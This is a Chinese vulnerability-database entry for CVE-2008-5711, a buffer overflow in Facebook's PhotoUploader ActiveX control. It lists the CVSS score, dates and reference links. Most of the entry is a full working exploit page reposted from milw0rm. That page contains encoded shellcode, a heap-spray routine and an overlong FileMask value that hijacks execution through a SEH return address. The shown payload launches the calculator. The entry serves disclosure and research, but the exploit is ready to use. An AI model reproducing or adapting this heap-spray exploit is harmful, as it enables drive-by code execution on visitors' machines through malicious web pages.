Facebook PhotoUploader ActiveX控件超长属性参数栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1114549 漏洞类型 缓冲区溢出
发布时间 2008-02-12 更新时间 2008-12-31
CVE编号 CVE-2008-5711 CNNVD-ID CNNVD-200812-433
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/5102
https://www.securityfocus.com/bid/27756
https://cxsecurity.com/issue/WLB-2008120191
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-433
|漏洞详情
Facebook是美国Facebook公司的一套在线社交网站平台。通过该平台可与朋友、同事、同学以及周围的人保持互动交流,分享上传的图片、转贴链接等。Facebook所提供的PhotoUploaderActiveX控件(clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0)中存在堆溢出漏洞。如果用户受骗访问了恶意网页并向FileMask属性传送了超长参数的话,就可以触发这个溢出,导致执行任意指令。<**>
|漏洞EXP
<html>
	<head>
		<object id="target" classid="clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0"></object>
	</head>
<body>
<script>

var shellcode = unescape("%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command (calc)
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");

var address = 0x0d0d0d0d;
var block_size = 0x400000;
var blocks = (address - block_size) / block_size;
var spray = unescape("%u0D0D%u0D0D");
var tmp = unescape("%u0D0D%u0D0D");
var tmp_size = 1044;

while((spray.length * 2) < block_size) spray += spray;
spray = spray.substring(0, block_size - shellcode.length);
memory = new Array();
for(i = 0; i < blocks; i++) memory[i] = spray + shellcode;
while(tmp.length < (tmp_size * 2)) tmp += tmp;
tmp = tmp.substring(0, tmp_size);

	var size = 131;
	var z = Array(size);
		for (i=0; i<size; i++) {
			z[i] = unescape("%u0d0d%u0d0d");
		}

	var size = 131;
	var z2 = Array(size);
		for (i=0; i<size; i++) {
			z2[i] = unescape("%u0d0d%u0d0d");
		}
//' 0x629c1795	 pop esi, pop ebp, retn 14   lpk.dll NO SAFE SEH
target.FileMask=z.join('') + unescape("%uebFF%uebFF") + unescape("%u1795%u629c") + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + tmp.substr(0,1)  // + String(2000, unescape("%uffff"))
</script>
</HTML>

# milw0rm.com [2008-02-12]
|受影响的产品
Facebook ImageUploader4.ocx 4.5.57 .0 Facebook ImageUploader4.1.ocx 4.5.57 .0
|参考资料

来源:BID
名称:27756
链接:http://www.securityfocus.com/bid/27756
来源:MILW0RM
名称:5102
链接:http://www.milw0rm.com/exploits/5102
来源:SREASON
名称:4805
链接:http://securityreason.com/securityalert/4805